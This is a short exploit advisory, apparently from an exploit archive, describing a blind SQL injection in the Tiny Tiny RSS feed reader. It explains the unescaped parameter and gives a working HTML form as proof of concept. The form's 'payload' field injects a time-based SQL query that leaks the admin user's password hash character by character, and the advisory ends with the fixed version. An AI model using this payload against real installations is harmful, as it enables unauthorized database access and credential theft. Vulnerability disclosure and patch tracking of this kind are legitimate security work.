Tiny Tiny RSS - Blind SQL Injection

# Exploit Title: Tiny Tiny RSS Blind SQL Injection
# Date: 15-02-2016
# Software Link: http://tt-rss.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
  
1. Description
    
$item_id inside process_category_order() is not properly escaped.
 
We control this value using $_POST['payload'].
 
http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html
 
2. Proof of Concept
 
Login as regular user.
 
<form method="post" action="http://tiny-tiny-rss/backend.php">
    <input type="hidden" name="op" value="pref-feeds">
    <input type="hidden" name="method" value="savefeedorder">
    <textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}</textarea>
    <input type="submit" value="Hack!">
</form>
 
3. Solution:
    
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b

#  0day.today [2018-04-04]  #